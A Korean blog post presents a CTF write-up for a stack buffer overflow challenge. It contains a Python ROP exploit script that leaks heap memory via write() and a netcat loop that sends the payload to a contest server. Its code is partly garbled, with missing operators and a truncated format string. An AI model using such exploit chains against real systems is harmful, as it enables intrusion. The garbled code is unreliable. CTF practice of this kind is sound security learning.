sweetchip's blog



주제 : simple stack based buffer overflow


binary :

chall_heap



import time

import struct


p = lambda x : struct.pack("


write = 0x08048440


ppppr = 0x080486a6

pppr = ppppr 1

ppr = pppr 1

pr = ppr 1

r = pr 1



payload = "A" * 0x64


for i in range(0x09371008, 0x094ed008, 0x1000):

payload = p(write) # ret here

payload = p(pppr)

payload = p(1)

payload = p(i)

payload = p(0x1000)


f = open("a.txt", "wb")

f.write(payload)

f.close()


"""

root@ubuntu:/home/sweetchip/Desktop/cyber/ncon# execstack ./chall_heap

- ./chall_heap

root@ubuntu:/home/sweetchip/Desktop/cyber/ncon# while [ 1 ] ; do (cat a.txt) | nc 23.23.190.205 8976 ; done > nc.txt

^C

root@ubuntu:/home/sweetchip/Desktop/cyber/ncon# cat nc.txt | sort | uniq -c

1 ?Good Enough? Pwn Me!

1 96d1c4d1f47b666928a37f7dd6a4383e

77 Good Enough? Pwn Me!


key : 96d1c4d1f47b666928a37f7dd6a4383e


"""


위 코드로 100번정도 brute-force를 시도하면 한번정도는 키가 줄력된다


으아아ㅏ..


flag : 96d1c4d1f47b666928a37f7dd6a4383e

신고

Comment 5

  • hackim
    2014.02.13 04:11 신고 수정 답글

    for문에 있는 범위가 flag가 저장된 메모리 위치인가요??
    그 위치라면 0x804a008이던데 저 값이 어디서 나왔는지 알고싶네요:D

    • 2014.02.13 13:24 신고 수정

      제가 문제풀때는 Heap 영역에 aslr이 적용되어 있었으나 0804a008, 0804c008 이런식으로 일정하게 되어있어서 예상되는 부분을 범위를 모두 send하도록 해서 한곳이라도 키값이 존재한다면 받을 수 있도록 했습니다.

    • 2014.02.13 13:25 신고 수정

      이 방법보단 got overwrite [어디선가 본 풀이..]를 하시는게 더 나을듯 하네요

  • hackim
    2014.02.13 13:46 신고 수정 답글

    아...ASLR적용됐었군요..ㅎㅎ
    답변 감사합니다. :D